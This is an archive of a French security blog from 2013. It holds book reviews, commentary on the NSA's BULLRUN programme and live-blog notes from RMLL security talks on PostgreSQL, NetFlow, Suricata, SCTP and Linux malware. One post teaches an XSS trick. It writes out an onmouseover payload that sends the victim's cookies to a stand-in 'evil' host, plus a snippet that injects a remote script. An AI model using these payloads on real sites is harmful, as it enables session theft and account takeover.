[1]Cela me rappelle une citation lue dans un MISC 66 dont j'avais déjà parlé : "Et les gens qui sont la tête dans le guidon n'ont pas forcément le temps de s'en préoccuper, quand il faut déjà faire marcher le réseau pour que le PDG puisse consulter ses mails depuis n'importe où.(...)En attendant, côté réseau, la réponse est toujours la même : empiler des équipements. Et les équipes ne changent pas plus, toujours en sous-effectif, avec de plus en plus de missions à remplir avec de moins en moins de moyens. Et bizarrement, les effets sont toujours les mêmes : les attaques passent.". Les offres reflètent bien cette idée.

jeudi 26 septembre 2013

XSS, onmouseover et un peu de javascript

Je donne un petit trick que j'aime beaucoup avec du javascript pour faire du XSS.

Soit une page web avec un input type qui permet d'effectuer une recherche. Cet input est réaffiché sur la page de résultat. Cet input type est de la forme:
<input id="search_id" type="text" value="valeur">

Il se trouve que certains caractères sont mal filtrés, comme le " qui permet de fermer la value. Pour un XSS, il suffirait de faire un <script> classique, mais les caractères < et > sont bien filtrés, empêchant d'ouvrir des balises. Mais dans le input, puisque je peux fermer le guillemet de value, je peux alors ajouter d'autres attributs, comme onmouseover="". Et onmouseover permet d'exécuter du javascript.
Et ma requête devient plus intéressante, (je coupe en plusieurs lignes pour la lisibilité:
http://site/query?q=
valeur"onmouseover="javascript:document.location=
'http://evil/cookie='.concat(escape(document.cookie))"

Cela me permet de récupérer les cookies dès que l'utilisateur fait passer la souris dans la zone de recherche (qui par chance fait la moitié de l'écran).
Le site http://evil renvoie par un redirect vers la zone de recherche. Récupérer les cookies, c'est toujours intéressant, mais est-il possible de récupérer n'importe quel script js depuis un serveur externe?

Javascript est mon ami pour le coup, il suffit de modifier la partie javascript (en une seule ligne):
var scriptEl = document.createElement('script');
scriptEl.src = 'http://ha.ckers.org/xss.js';
document.body.appendChild(scriptEl);

et javascript va ajouter lui-même les balises <script> et </script>.
Nice trick, thx NDE.

mercredi 11 septembre 2013

Vous reprendrez bien un peu de bullrun?

Chaque révélation de Snowden fait ressortir les vieilles antiennes comme quoi internet est cassé, que la NSA sait tout, lit tout, contrôle tout et déchiffre tout, et que plus rien ne sera jamais comme avant (ou pas).

On retrouve toujours plus ou moins les mêmes informations, qui semblent toutes tirées des articles cités par Schenier sur son blog. Il y eu beaucoup de spéculations par la suite autour des capacités hypothétiques des mathématiciens de la NSA et de leur puissance de calcul.

Ce qui apparaît comme hautement probable, c'est leur monstrueuses capacités d'écoutes et de stockage. A titre d'exemple, je me souviens d'avoir lu sur un blog la retransmission d'un appel d'offre de la NSA qui souhaitait disposer d'une infrastructure égale à celle d'internet pour rejouer et tracer des attaques 'at scale' .

Mais ceci dit, il n'y a pas grand chose de neuf. La NSA écoute, stocke, déchiffre ce qu'elle peut, ce que tout informaticien un peu versé dans la sécurité connaît (et on peut ajouter que la NSA n'est sûrement pas la seule organisation à écouter, stocker et déchiffrer).

Le gros point négatif à noter concerne les capacités de la NSA à influer sur les choix cryptos des logiciels, comme le dit Schneier: "The math is good, but math has no agency. Code has agency, and the code has been subverted." Il y a trois ans, on avait lu cette histoire (qui avait souvent été qualifiée d'impensable à l'époque): http://marc.info/?l=openbsd-tech&m=129236621626462&w=2 concernant la pile IPsec
d'OpenBSD qui avait été affaiblie. On en lit beaucoup d'autres depuis la sortie de Snowden, comme le G+ de Theodore Ts'o

Je trouve malgré tout deux points intéressants à tirer de cette annonce:
-Certains procédés cryptos ne sont finalement pas si faibles que ça puisque la NSA cherche à mettre des backdoors malgré leur armée de mathématiciens doublée d'une débauche indécente de force de calcul brute. Ce qui signifie qu'une implémentation solide de ces algos sera réellement solide: moralité, si votre algo a fait l'objet d'un amendement de la NSA pour modifier un paramètre ou ajuster une constante, alors c'est qu'il est sans doute fiable :-) (une fois le paramètre ou la constante NSA-compliant retiré bien entendu)
-Je lis beaucoup de réflexions des cryptologues autour des algos de chiffrement: qu'est ce qu'un IV fort, faible, comment s'assurer que le RNG est fiable, comment sont choisis les paramètres des courbes elliptiques, etc.. ce qui ne pourra que profiter à la sécurité générale des communications. Le message sur openBSD avait été l'occasion à l'époque de refaire une passe complète sur la stack IPsec ce qui n'est jamais mauvais.

Pour la suite, on attend les prochaines révélations. Ca continuera peut-être sur les écoutes, ça partira peut-être sur les APT menés par la NSA.

---
A lire, en lien avec le sujet: http://www.bortzmeyer.org/crypto-protection.htmlhttp://www.bortzmeyer.org/crypto-protection.html

mercredi 28 août 2013

Hard: la dernière frontière


Wikipedia indique qu'un ordinateur est une machine électronique qui fonctionne par la lecture séquentielle d'un ensemble d'instructions qui lui font exécuter des opérations logiques et arithmétiques sur des chiffres binaires.
Mais un ordinateur est également un ensemble de composants électroniques reliés entre eux. Parmi les plus courants, nous retrouvons la carte mère, le CPU, la mémoire, le disque dur, la carte réseau, (éventuellement une carte graphique, clavier, souris) etc...

La sécurité informatique s'intéresse beaucoup aux informations traitées par l'ordinateur afin de garantir un certain niveau de confiance dans celles-ci. Le système d'exploitation et les applications tournant sur une machine sont donc une cible de sécurité importante. Mais l'OS est loin d'être le seul composant qui exécute des instructions. Chaque composant peut être pris comme un sous-système électronique qui traite des informations. Et on constate que tous ces composants sont faillibles.
Imaginez une carte réseau qui ne remonte que certains paquets, mais pas tous au système? Ou bien un disque dur qui cache des données à un filesystem, ou une carte mère qui hooke avant le boot des fonctions? Cela obérerait lourdement le fonctionnement des outils de sécurité.

Si je reprends la liste de composants donnée plus haut, on peut trouver très facilement pour chacun d'eux des failles (la liste des failles n'est pas exhaustive):


Lorsqu'en plus, ces composants sont assemblés et pré-installé, quelle
confiance avoir dans le software de sécurité que l'on installe tout au
dessus? Est-ce que le prochain vecteur des APT ou des infections de masse sera t'il celui-ci?

vendredi 2 août 2013

Lectures d'été - Malwares & Cyber War


J'ai lu deux bons livres[1] qui méritent une revue.

Le premier s'appelle "Malwares - Identification, analyse et éradication" et est écrit par Paul Rascagnères. Il est présenté comme le premier livre en français traitant de reverse et d'analyse de malwares. Ce livre m'a beaucoup plu. Il est très didactique et contient de très nombreux exemples réels basés sur des malwares récents. Ce livre ne se focalise pas sur un produit ou un langage en particulier et l'auteur n'hésites pas à utiliser et donner des exemples concrets d'outil comme gdb, IDA, malwasm, python, ruby, scapy, etc..
Pour tirer toute la substantifique moëlle de cet ouvrage il est utile d'être à proximité d'une machine et de rejouer les exemples.
Bref, que du bon, du miel à toute les pages, et j'en regrette qu'il soit si court, finalement.

Dans un autre registre, le second est un ouvrage en anglais: "Cyber War - the next threat to national security and what to do about it" de Richard A. Clarke et Robert K. Knake. Ce livre n'est pas du tout technique, fait la part belle au story telling à l'américaine[2] et explique en des mots simples les risques posés par cette fameuse cyberguerre. On attend la page 77 pour trouver le premier terme technique (DNS), et l’Amérique est présentée comme dépendante au cybermonde et mal protégée contre des attaques. Au second degré, la lecture est un peu plus amusante lorsque l'on connaît l'historique de ce monsieur Clarke: Armée, défense, conseil au président, etc..
Donc sans nuire à la qualité de ce livre, cela biaise certains points de vue: les exemples de risques donnés par la cyberguerre sont chinois ou russes (on ne parle pas de Stuxnet sauf en appendice tout à la fin). Les 5 risques intrinsèques d'internet sont: le DNS, BGP, le fait que la majorité soit transmise en clair, la fait qu'il soit possible d'envoyer du malware sur internet sans restrictions, mais aussi qu'internet soit à la base une invention des hippies des annés 70 :D (et ça, je pense que dans l'esprit d'un militaire américain, c'est grave: pas de contrôle central, équivalence des informations etc..).
C'est donc un bon livre non technique qui fourmille d'anecdotes et de cas concrets, qui pose des concepts intéressants d'une manière très accessible (ce qui permet de réviser son anglais).

[1] Pour éviter d'être écouté par PRISM ou XKEYSCORE, il est toujours possible de lire des livres en bon vieux papier!
[2] Cela démarre par "Il était une nuit d'hiver dans la ville de Washington, etc.." et les tournures de phrases ressemblent souvent à de la littérature d'espionnage de roman.

mercredi 10 juillet 2013

RMLL live blogging - jour 3

Bruce Momjian - Securing PostgreSQL

Bruce Momjian fait partie du consortium postgreSQL et propose ce talk car il lui a semblé que la sécurisation des bases SQL peuvent être difficiles, alors que cette sécurité est importante.

La présentation démarre par les vecteurs d'attaques SQL. Concernant postgre, il s'agira des attaques externes, i.e. sans droits d'accès. Les attaques internes ne seront pas couvertes (SQL injection, application vulnerability, OS compromis, permissions etc..).

La sécurite de postgreSQL débute par le réseau, il est important de ne pas truster tout le monde, ce que fait initdb par défaut (utilisez initdb -A). La connexion par mot de passe est déconseillée, car il est envoyé en clair sur le réseau. L'authentification MD5 est préférable car un salt est envoyé du serveur, et va servir à empêcher un rejeu des credentials de connexion. Côté serveur, les mots de passe sont concaténés au login et hashé MD5. Postgre n'a pas de contremesures spécifiques contre le bruteforce de mots de passe. Les échanges sont ensuite chiffrés pour éviter les écoutes.

Mais certaines attaques restent possibles. Un scénario utilise un faux serveur écoutant sur le même port que postgre (5432, non privilégié), et attend qu'un client se connecte et lui demande son mot de passe en clair (et non MD5). Ce scénario peut s'améliorer en connectant le faux serveur au vrai et réaliser ainsi un "proxy" malicieux lisant l'ensemble des requêtes/réponses. Une mauvais réponse serait de forcer SSL côté client, mais le serveur malicieux peut l'utiliser car il n'y a pas vraiment de CA qui authentifie ces échanges. Il faut alors forcer l'usage d'une CA (Verify CA dans la conf). L'usage de Verify-full est encore meilleur, car le client vérifie également si le nom du serveur correspond à celui du certificat. Bruce parle ensuite du chiffrement des donnés pour éviter le vol de celles-ci lors du vol physique des disques (ou les bandes de sauvegardes). La première solution est le chiffrement de disque. Mais postgre propose du chiffrement de colonne. Soit réversible, à l'aide d'AES, ou one-way avec MD5 dans les cas ou il suffit de comparer une valeur et non de la lire. (mais le chiffrement peut poser des problèmes de performances dans la recherche ou la création des index). La clé de déchiffrement est stocké sur le serveur (mais qui pose problème en cas de vol physique de serveur). La clé peut également être déportée sur un serveur de déchiffrement, qui va agir comme un proxy pour déchiffrer les colonnes. Enfin, cette clé peut aussi être sur le client, sur le poste ou dans un token hardware ce qui est sans doute la méthode la plus sûre.

Alexandre Dulaunoy - CVE search : un logiciel libre de collecte, recherche et analyse des vulnérabilités et expositions logicielles publiées par NIST
Alexandre fait partie du CIRCL, un Computer Incident Response Center du Luxembourg. CVE est un bon moyen de vérifier si ses logiciels sont à jour et/ou vulnérable. Mais la recherche à l'intérieur de ces bases ne sont pas simples. L'idée est donc de créer un outil à la manière des outils unix traditionnel qui va permettre de "grepper" facilement ces bases de vulnérabilités.
cve-search a été développé au début par Wim Remes, qui se limitait à prendre la base en XML pour la pousser dans une base de données mongoDB. Les données viennent du NIST, sont parsées et remplissent la base mongoDB. Cette base contient les CVE, les CPE (liste de softs), un ranking et des  infos. La base se met à jour deux à trois fois par jour.
Des outils permettent de lire cette base (recherche, liste des dernières vulnérabilite, recherche au travers d'un bot XMPP (si, si) et des recherches full text).
Il est possible de chercher par nom de soft (joomla par exemple), par n° de CVE, ou CPE. CPE est une manière de spécifier l'OS, l'application ou le matériel (ou une combinaison) ciblé par le CVE.
Des exemples de recherches sont donnés. Par exemple, quels sont les éditeurs qui utilisent le plus souvent le mot "unknown" (oracle, puis Sun et HP).
Un autre exemple permet de calculer les moyennes et variations de score CVSS des failles java par exemple.
L'outil permet aussi de pondérer selon ses propres critères des failles, des CVE ou des softs afin de les suivre plus facilement.

La présentation continue sur l'usage de cve-search. Le logiciel libre peut être utilisé par tout le monde, pour tous les usages, mais est ce qu'un "bad guy" peut utiliser ce soft? Certainement, car cela peut lui simplifier la recherche de vulnérabilités sur un système qu'il cible.

Malgré tout, le développement de cve-search continue et l'outil restera libre.

Sebastien Deleersnyder - Mise en place d'un cycle de développement sûr avec OWASP

OWASP introduit une méthode appelé OpenSAMM pour promouvoir le développement sécurisé. Un rappel est donné sur les risques de sécurité et
indique que le software est toujours vulnérable. Une méthode permettant de sécuriser le soft devient de fait intéressante. La sécurité peut être proactive (design, build) ou reactive (test, production). La méthode proactive est meilleure pour réduire la surface d'attaque, mais les tests et scan de vulnérabilités restent nécessaire.
L'OWASP propose un modèle de dévloppement prenant ces points en compte, ainsi qu'une méthode pour l'appliquer.
Quatre business fonctions sont définies (governance, construction, verification et developpement) avec pour chacun d'entre eux trois axes de travail. Les slides suivantes précisent ces points. L'orateur conseille d'aller sur le site de l'OWASP qui contient un grand nombre de ressources, de videos, de présentations sur le sujet. La suite de la présentation effectue une revue de ces points, je renvoie donc vers les slides et le site de l'OWASP
Je note le proxy offensif https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project qui semble intéressant à essayer.

Cedric Foll - (Net|S)Flow Détection d'anomalies et d'attaques sur le campus

La dernière conférence de la matinée est donné par un des rédacteurs en chef de MISC qui va présenter comment détecter des activités malicieuses sur un réseau à l'aide de Netflow. Netflow est un protocole standard qui permet (entre autre) de visualiser de manière graphique des flots, au lieu de lire des longues de pages de logs. Netflow a été développé par Cisco, standardisé  par IPFIX, et Sflow est une version dédiée pour les switchs.
Le principe repose sur les flux contenant les informations suivantes: IP src, dst, L4 ports, heure démarrage, durée, et quantité échangée. Un flux expire après 15s d'inactivité, 30 mn d'activités, quand un RST ou FIN est envoyé. Les routeurs envoient ces infos à un collecteur qui enregistre ces données.
Ces enregistrements s'exploitent à l'aide de nfdump/nfsen et permettent de créer des représentations graphiques des flux.
La suite de la présentation va montrer comment on utilise ces outils sur des exemples réels, extraits d'enregistrements de flux de l'université de Lille. Après des exemples généraux nous arrivons à une démonstration de détection de comportement malicieux. L'exemple montre comment un pic TCP sur le port 53 est facilement repéré, puis investigué. Un second exemple tout aussi parlant montre comment un DNS en configuration open a été trouvé. Les exemples continuent, toujours aussi visuels.
Netflow permet aussi de trier les ports par usage, par exemple pour trouver les ports les scannés. D'autres types de scan horizontaux (une IP qui scan un range) sont également facilement trouvés.
Les tunnels HTTP/HTTPs se détectent facilement: long flux avec peu de data; ainsi que les tunnels DNS: beaucoup de DATA, par contre les tunnels ssh sont plus difficiles à trouver.
La présentation est très visuelle, j'invite à voir les slides qui vont être dispos sur le site des RMLL d'ici peu.

 Jonathan Clarke - Rudder

Le talk va parler d'infrastructures et de l'automatisation de certaines tâches IT. L'automatisation est une composante essentielle de l'activité d'IT pour plusieurs bonnes raisons, rapidité, reproductibilité, éviter d'oublier des points, etc.. Plusieurs outils existent, comme CFEngine, puppet ou Rudder.

Mais plus que l'automatisation, l'important est la compliance. Celle ci permet de connaitre l'état de l'IT, d'obtenir une vue d'ensemble et surtout de la prouver. Ce besoin de compliance provient de multiples endroits: les lois, les réglementations industrielles ou d'entreprises et les "best practices".
Cette compliance s'appuye sur des messages de préventions, des politiques de mots de passe, des paramétrages particuliers, etc.. L'automatisation mentionnée plus haut n'est pas forcément de la compliance. La fréquence des vérifications est importante et doit être fait le plus souvent possible. La compliance ne peut pas être faite à moitié, c'est un système all-or-nothing qui se complique vite, du fait de l'hétérogénéité des machines, OS et versions. La compliance ne peut pas être mal faite car cela touche généralement des serveurs en productions et la moindre erreur peut avoir de grandes répercussions.

L'orateur continue avec une démonstration de l'interface graphique de Rudder. Le but de Rudder est de donner un outil Plug&Play qui permet d'automatiser les tests de compliance. La conf par défaut marche out-of-the-box elle est prépackagé pour tous les OS et l'intégralité de la configuration se fait à l'aide d'une interface Web. Le workflow d'utilisation est assez simple à prendre en main.

En conclusion, l'orateur explique que la compliance en sécurité bénéficie beaucoup de l'automatisation. Mais cette automatisation n'est pas tout. Il faut croiser ces données avec celles du monitoring pour une couverture maximale.




Je ne peux rester pour les autres talk, ayant un impératif de transport.
Merci RMLL2013, merci à l'organisation, c'était encore une très bonne année.

mardi 9 juillet 2013

RMLL 2013 - live blogging - jour2

Le réseau wifi est présent et actif, me permettant de mettre en ligne directement après les talks, merci au NOC des RMLL :-)

Peter Czanik - Logging & syslog-ng
La conférence parle de syslog-ng et de la journalisation en général. syslog-ng est développé par balabit, une compagine de 150 personnes dont
80% savent configurer un kernel linux ;)
Le logging est la science qui enregistre les évènements qui se passent sur un ordinateur. Le premier outil utilisant le logging fut sendmail. Logger est essentiel pour l'administration IT, aussi bien pour les développeurs, les administrateurs ou pour la sécurité dans des situations d'audits ou réponse à incident; mais seulement si les logs sont managés.
Syslog-ng existe depuis 1997, est appelé le couteau suisse du log, et essaye de centraliser tous les logs. La centralisation permet une collecte et une utilisation simple des logs et de permettre leur accès même si les machines sources sont down ou compromises.
La version la plus populaire de syslog-ng est la 1.6 (10 ans d'âge) qui est utilisée par les kindle d'amazon. La dernière version est la 3.4. L'orateur parle ensuite du format de log. Généralement, nous avons une date, puis une hostname et enfin du texte en anglais permettant une lecture simple du message. Lorsqu'un grand nombre de ligne de logs existe, il devient difficile de chercher les logs intéressant. Il est nécessaire alors de mieux structurer les logs afin de pouvoir les parser automatiquement.
syslog-ng utilise une méthode clé/valeur et un parseur pour pouvoir "grepper" plus facilement de l'information. Les autres features concernent une correlation facilitée, un formatage json des données, un export mongoDB et des destinations AMQP.
Dans le monde des logs, un nouveau challenger du nom de journal a fait son apparition. Journal est appareillé avec systemd. Il utilise également un système de clés/valeurs. Il peut exporter ses logs vers syslog-ng. journal dispose d'une feature intéressante d'authentification du process émetteur pour éviter qu'un attaquant ne pollue des logs avec des faux messages. Journal n'est pas un concurrent de syslog-ng, mais plutôt un allié qui concerne le log local des machines linux.
Pour revenir à sylog-ng, il apparait qu'une standardisation de ces clés valeurs devient de plus en plus important. Ce Graal du logging aurait beaucoup d'applications pratiques, mais trop d'applications continuent d'utiliser des logs non formattées.
Un outil graphique se basant sur ces systèmes clés valeur est ELSA, basé sur syslog-ng, patternDB et mySQL et permet des recherches de log tournés vers la sécurité.
En conclusion, l'orateur donne les raisons poussant à utiliser syslog-ng:
15 ans de développements, scalability, une documentation exemplaire.

Xavier Mertens - What will you investigate today

Encore une conférence sur les logs, mais plus tourné sur la sécurité et la recherche à l'intérieur de ceux-ci.
Le problème des logs n'est pas d'en manquer, le problème est plutôt de retrouver parmi les millions d'évènements ceux qui font sens. Pour des raisons de compliance, les entreprises installent des outils de logging, mais l'exploitation des résultats n'est pas forcément simple. Malgré tous ces logs, les entreprises mettent plusieurs mois pour se rendre compte des brèches: 66% des brèches sont détectées plusieurs mois après après et 69% des data breach sont remontées par des tiers!
Le premier outil de recherche dans les logs est "grep". Il permet déjà d'extraire des infos intéressantes. Toutefois, cela permet de trouver des choses connues, que l'on cherche et ne donne pas d'idée sur l'inconnu (Par exemple, grepper des logs apache sur des codes peu usités peut donner des pistes intéressantes)
Pour aider, il existe aussi la corrélation de plusieurs sources, mais la classification n'est pas forcément simple.
Certaines listes permettent de classifier les données brutes; par exemple GeoIP pour les IP, ou une liste de noms d'utilisateurs importants (admin, root, "bob", etc..). Ces listes peuvent être dynamiques: une IP effectuant un portscan devient suspicieuse et a besoin d'une plus grande attention si elle se logge sur un service particulier.
Aujourd'hui, il est très difficile de filtrer tous ces évènements, tout le bruit afin de pouvoir se concentrer sur les plus importants.

Les premiers logs à creuser sont ceux du DNS, car il est essentiel et beaucoup de canaux d'exfiltrations l'utilisent. Il est également utilisé par les malwares pour trouver l'IP de leur C&C. Une liste de domaine malveillant va permettre de cibler des machines suspicieuses. Des machines tentant d'utiliser d'autres DNS que les DNS d'entreprises doit également être surveillée.
Les seconds logs sont les logs HTTP. "HTTP est le nouveau TCP". Il est nécessaire de surveiller les domaines, de faire de l'inspection SSL et de vérifier les hashs des fichiers échangés.
Le troisième protocole à surveiller est le SMTP. Les méthodes sont identiques, les domaines de sortie, et les flux de données.
Enfin, un outil à utiliser est netflow, qui permet d'obtenir des graphes intéressants listant les IP/ports sur une échelle de temps.

L'orateur donne des ressources sur internet à connaître. Tout d'abord, le site wwww.malwaredomainlist.com donnant des IP à chercher dans les logs.
Ensuite, GeoIP donne un point de vur intéressant sur les IP circulant sur ses réseaux. La seconde liste concerne les domaines DNS malveillant: malwaredomaines.com . Une troisième ressource est liée aux URLs.
malwareurls.joxeankoret.com, ou la liste malware URL de google (une API
existe). Toutefois, certaines de ces listes ont des limites légales (pas de
redistribution commerciales, API limitée, etc..) Enfin, il faut savoir utiliser des méthodes originales propres à ses domaines d'activités.

D'autres outils sont donné: pastebin a souvent des informations de première main. Des outils de parsing ne sont pas à négliger comme d3js. Un outil
comme OSSEC est conseillé par l'orateur pour ses qualités. Une série d'outils online est fournie (donnée sur les slides de la conf) comme malwr.com ou virustotal qui peut aider à détecter des comportements ou fichiers suspicieux.

En conclusion, l'orateur indique qu'il existe beaucoup de données à investiguer et qu'il est nécessaire de bien connaitre son environnement. Le logiciel libre va vous aider, mais il reste un gros travail de recherche et de corrélation qui demande du temps.

Pendant les questions, une remarque intéressante est faite concernant pastebin. Il existe  beaucoup de surveillances sur ces sites de paste. Malheureusement, aucun outil de partage des informations sur ces "pasties" n'existe et un framework de recherche serait très intéressant, remarque que je partage pleinement.

Eric Leblond - Suricata the terminator of IDS/IPS

La conférence démarre par une présentation d'Eric Leblond, contributeur
de Suricata, Ex-CEAo d'EdenWall. Cette présentation va faire une présentation de Suricata et continuer par une démo de ses possibilités.
Eric démarre par une définition des IDS/IPS. L'ids est passif et se compare à une caméra de surveillance, l'IPS bloque et s'apparente plus à un checkpoint de sécurité. Un IDS va écouter le réseau, effectuer une reconstruction de paquet/flux et appliquer enfin une normalisation des données pour appliquer une politique de détection de flux malveillants. Les projets ressemblant à suricata sont BRO, plus orienté capture de paquets, et Snort qui a inspiré le développement de Suricata. Suricata veut devenir un "Snort meilleur que Snort". Snort souffre d'un manque de performances et de 10 ans de développement, mais à l'avantage d'être bien connu. Suricata sait utiliser les rulesets de Snort (au prix de performances faibles et d'une impossibilité d'utiliser toutes les optimisations de suricata). Suricata propose un jeu de règle open source (emerging threat) directement utilisable.

Le développement d'OISF (fondation derrière suricata) a démarré avec l'aide du gouvernement US (DHS, Navy) dans l'idée d'en faire un outil open source. Ce financement souhaite dès le début du projet pouvoir se désengager de celui-ci afin qu'il puisse vivre en open source.
Le core developpement est assuré par trois personnes, et environ 35 contributeurs poussent régulièrement du code. Suricata est multiplateformes, supporte IPv6, multithreaded, accéléré en hardware, orienté perfs, permet d'être utilisé en mode "test", en mode IPS pur, sait détecter les protocoles indépendemment des numéros de ports, extraire des fichiers des flux, et est capable d'appeler un script LUA pour effectuer des
méthodes de détection plus intelligentes, et se connecte avec GeoIP.

Suricata sait digérer plusieurs méthodes d'entrées, pcap (live & offline) AF_PACKET, PF_RING, etc... Et en output sait renvoyer du Fastlog, pcaplog, unified2log, Prelude, etc.. Un des points central de suricata est la libhtp, une bibliothèque capable de reconstruire les flux HTTP et qui donne des pointeurs vers chaque partie du flux (en-tête, cookie, url, etc..), et surtout qui sait reconnaître du HTTP quel que soit le port. La lib HTP sait aussi extraire et critériser selon les metadata (extraire un fichier, son filetype, son extension, son hash, etc..) Plusieurs exemples sont donnés, ou l'on peut surveiller le type des fichiers entrant sur un serveur web, si des clés RSA circulent sur le réseau (!!).

Un manque de temps oblige l'orateur a accélerer et nous passons sur le mode IPS. Le jeu de règles est un peu différent, car basculer d'un mode "alert" à "drop" peut surbloquer des services.

Enfin, nous passons à la démo qui consiste à ralentir au maximum les flux des personnes envoyant des documents Word sur le réseau (car "Word is heavy as hell"). Suricata sait reconnaitre les fichiers word grâce aux mots-clés de la libhtp, et peut poser des marques netfilter. iptables va utiliser la target CONNMARK pour propager le marquage sur la connection entière. L'orateur réussit ensuite le tour de force consistant à expliquer comment la QoS sous linux fonctionne en une slide et 45 secondes ;) Il pose une règle de QoS restreignant les flots portant un fichier .doc a 1ko/s (très généreux de sa part). Les utilisateurs peuvent essayer de modifier l'extension, mais suricata sait le détecter et il devient possible de mettre une règle autorisant 10ko/s pour ces gens intelligents :). Mais ces gens intelligents sont peut-être à  surveiller. Dans ce cas, iptables peut repérer ces IP grâce à suricata et les mettre dans une table pour les logger.

Pierre-olivier Vauboin et Omar Awile - mobile telecom et securité

Dernier talk de la journée. Les réseaux télécom sont bien plus complexes que les réseaux IP. Un slide montrant une infrastructure opérateur permet de bien visualiser l'hétérogénéité des équipements et des réseaux, les différences entre le réseau de "signaling" (entrée sur le réseau, sortie, payement etc..) et le réseau data (données utilisateurs clients (voix, etc.) Il y a aussi un nombre beaucoup plus grand d'équipements, depuis la femtocell jusqu'au HLR, ouvrant de fait plus de surfaces d'attaque. Les protocoles aussi sont beaucoup plus nombreux en telecom qu'en IP: SCTP, SIgtran, M3UA, MAP, GPRS, etc.. contre DNS, HTTP, etc.. Les slides montrent des stacks IP versus des stacks telecom qui permettent de se rendre compte de la jungle dans lesquels vivent ceux-ci.

Le routage en IP est relativement simple (ethernet, IP, numéros de ports) alors qu'en telecom il existe de multiples standard et de multiples données dans toutes les couches protocolaires et le routage utilise une combinaison de toutes ces données. SCTP (RFC 4960) a été développé pour remplacé TCP, qui ne convient pas très bien aux réseaux télécom (délais, stream-oriented, pas de support du multi-homing). SCTP implémente une méthode permettant de gérer des flux répondant aux contraintes télécom. La plus grosse différence repose dans les chunks: un paquet SCTP peut embarquer des paquets différents, de différentes connexions. SCTP est la glu permettant de connecter des réseaux IP avec des réseaux telecom.

La deuxième partie de la conférence traire de pysctp, une bibliothèque pour monter des flux SCTP facilement. Un serveur M3U peut s'écrire en une vingtaine de ligne de code. Un second exemple implémentant une backdoor over SCTP tient également en une vingtaine ligne de code, et comme SCTP n'est pas TCP, les méthodes de détection utilisant netstat sont aveugles (quelques patch pour netstat existent pour afficher le SCTP toutefois). Il faut alors regarder dans /proc/net/sctps/eps et assocs pour connaitre les connexions SCTP.
Cette bibliothèque permet également de scanner les serveurs SCTP. Les réponses dépendent des serveurs et de leurs implémentations, mais il en connaissant ces différences le scan est efficace. Wireshark sait disséquer les protocoles telecom, et sait dépiler le mille-feuilles des protocoles utilisés. Le problème de SCTP est qu'il est de plus en plus utilisé, alors qu'il n'a pas d'authentification et qu'il faudrait utiliser IPsec, sauf qu'IPsec n'est pas vraiment déployé. L'orateur donne des exemples d'analyse réseau passive de réseaux télécom, ou de scan actif.

Pour conclure, l'orateur redit que le monde telecom est plus compliqué que le monde IP en raison du grand nombre de technologies et protocoles. Malgré tout SCTP est ubiquitaire dans ces telecom comme interface entre l'IP et le monde telecom. Il reste encore beaucoup de sécurité à creuser
et à mettre en oeuvre dans ces réseaux.

RMLL 2013 - Live blogging

Je suis de nouveau aux RMLL afin de suivre le track sécurité.
Je propose comme l'année dernière un live blogging des conférences.
Les tracks ont commencés hier, mais un problème d'accès au réseau m'a empêché de poster hier. Voici donc un CR du 8 juillet 2013. Les slides sont disponibles sur

Werner Koch - GnuPG Status Report

Werner commence par un historique des versions de GPG. La version 2 a amené la modularisation de GPG. GPG est multiplateformes, utilisable pour le desktop. GPG a une base de développeurs solide, ainsi qu'un groupe de mainteneurs, bug reporters, code reviewers, etc.. GPG est couvert par plusieurs aspects légaux un travail est donc fait pour le contourner, plusieurs copyright assignments leur ayant été remonté. Werner Koch passe ensuite en revue la liste des features de GPG: Tout d'abord S/MIME avec management de clé qui propose aussi une CLI complète permettant de gérer des clés, et le mécanisme de gestion de CA est presque au point.
GPG-Agent s'occupe de la gestion des clés privées et de leur mise en cache. GPG-agent dispose d'une fonction de scripting GPG sait se connecter avec ssh, en remplaçant ssh-agent par gpg-agent. Il fonctionne avec des cartes à puces. GPG utilise un framework spécifique pour les cartes à puces (carte openPGP), qui serait un sujet de talk à part entière, il passe donc rapidement sur le point.
Il parle ensuite du projet g13 pour le chiffrement de surface. La clé maître du device est wrappée par PGP. Il devient donc possible d'utiliser sa smartcard openPGP pour ouvrir des fichiers encFS. Le portage pour dm-crypt est en cours, ainsi que GELI (BSDs).
Le projet qui intéresse les développeurs en ce moment est GPGME, l'API standard d'accès à GnuPG. Il s'agit d'une interface pour avoir accès aux  clés et à gpg-agent.
Dans le domaine des améliorations, Werner indique que les clés GPG secrètes sont désormais controllées par GPG-agent. Cela permet des simplifications de code et le merging de clés. Une autre amélioration concerne la Keybox. En effet, les clés sont concaténées les unes aux autres, et un grand nombre de clés va demander plusieurs secondes pour y accéder. Cette amélioration permet d'accéder en moins de 100ms à une clé parmi 20000. Une autre amélioration concerne le mode pinentry qui devrait permettre d'utiliser facilement GPG sur les postes non desktop. GPG est également en train de remplacer les threads Pth par nPth pour des raisons de simplicité. De son côté la libgcrypt se voit amélioré en utilisant les optimisations des CPU modernes (AES-ni, SSE2, etc..) et quelques nettoyages de code.
Le cas d'openpgpjs est évoqué. C'est intéressant mais cela ouvre beaucoup d'axes d'attaques, malgré les demandes. Werner Koch remercie ensuite les développeurs et la communauté.

Kevin DENIS - le chiffrement de disque sous linux, vrai ou faux sentiment de sécurité, deuxième round.
Généralement, on pense que:
You choose to crypt your disk...
...and you're safe & secure
Alors qu'il s'agit plutôt de:
You choose to crypt your disk...
    and you know (basically) how it works
    and you check that crypto defaults choosen by your distro are safe
    and you check the crypto algorythm and implementation
    and you check the quality of the master key
    and you check that password inputs are safe
    and you check that you can change your keys
    and you check that your password can't be easily bruteforced
    and you check the integrity of your boot process
    and you check the integrity of the ciphered blocks
    and you check that your keys doesn't remains in RAM
...and you're safe & secure (sort of)

Paul Rascagnères - malware sous linux
Ce talk souhaite casser l'idée reçue comme quoi il n'y a pas de malware sous linux, au travers de 3 exemples réels de 2013: Darkleech, Cdorked, wirenet..
 - Darkleech/Chapro.
Darkleech est un module apache "authentique", qui va ajouter du javascript dans certaines pages pages web pour rediriger des clients. Darkleech est également une backdoor permettant de prendre la main du système. Le nom du malware varie (ex: sec2_config_module),  et injecte surtout des exploits kits. Les cibles sont choisies par les informations de headers clients, en excluant les moteurs de recherche et versions de navigateurs non ciblées par l'exploit kit. Ce malware est obfusqué par un simple XOR, ce qui permet facilement d'accéder aux informations.
 - Cdorked
